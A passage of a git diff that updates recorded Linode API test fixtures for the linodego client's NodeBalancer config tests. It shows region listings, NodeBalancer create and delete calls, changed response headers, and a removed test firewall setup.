1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, - 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, - 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage - Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, - 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, - 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, - 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, - NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, - 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", - "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, - 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, - 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", - "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", - "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, - 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, - 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], - "page": 1, "pages": 1, "results": 24}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -258,19 +264,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:40 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -279,16 +289,19 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":228221}' + body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":501400}' form: {} headers: Accept: @@ -300,8 +313,8 @@ interactions: url: https://api.linode.com/v4beta/nodebalancers method: POST response: - body: '{"id": 441131, "label": "go-test-def", "region": "ap-west", "hostname": - "172-232-87-200.ip.linodeusercontent.com", "ipv4": "172.232.87.200", "ipv6": + body: '{"id": 694196, "label": "go-test-def", "region": "ap-west", "hostname": + "172-105-44-183.ip.linodeusercontent.com", "ipv4": "172.105.44.183", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' @@ -317,15 +330,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "336" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:40 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -338,9 +355,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -356,14 +376,14 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441131/configs + url: https://api.linode.com/v4beta/nodebalancers/694196/configs method: POST response: - body: '{"id": 670349, "port": 80, "protocol": "http", "algorithm": "roundrobin", + body: '{"id": 1134771, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": - 441131, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": + 694196, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: @@ -377,15 +397,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "437" + - "438" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:40 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -398,9 +422,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -416,14 +443,14 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441131/configs/670349 + url: https://api.linode.com/v4beta/nodebalancers/694196/configs/1134771 method: GET response: - body: '{"id": 670349, "port": 80, "protocol": "http", "algorithm": "roundrobin", + body: '{"id": 1134771, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": - 441131, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": + 694196, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: @@ -437,16 +464,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "437" + - "438" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:41 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -460,9 +490,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -478,7 +511,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441131/configs/670349 + url: https://api.linode.com/v4beta/nodebalancers/694196/configs/1134771 method: DELETE response: body: '{}' @@ -494,15 +527,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:41 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -515,9 +552,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -533,7 +573,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441131 + url: https://api.linode.com/v4beta/nodebalancers/694196 method: DELETE response: body: '{}' @@ -549,15 +589,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:41 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -570,64 +614,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" -- request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls/228221 - method: DELETE - response: - body: '{}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=60, s-maxage=60 - Content-Length: - - "2" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - firewall:read_write - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestNodeBalancerConfig_Update.yaml b/test/integration/fixtures/TestNodeBalancerConfig_Update.yaml index 2793d45f7..06c5db3f9 100644 --- a/test/integration/fixtures/TestNodeBalancerConfig_Update.yaml +++ b/test/integration/fixtures/TestNodeBalancerConfig_Update.yaml @@ -1,67 +1,6 @@ --- version: 1 interactions: -- request: - body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls - method: POST - response: - body: '{"id": 228217, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": - [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": - "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": - "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": - "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], - "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=60, s-maxage=60 - Content-Length: - - "526" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - firewall:read_write - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" - request: body: "" form: {} @@ -76,176 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 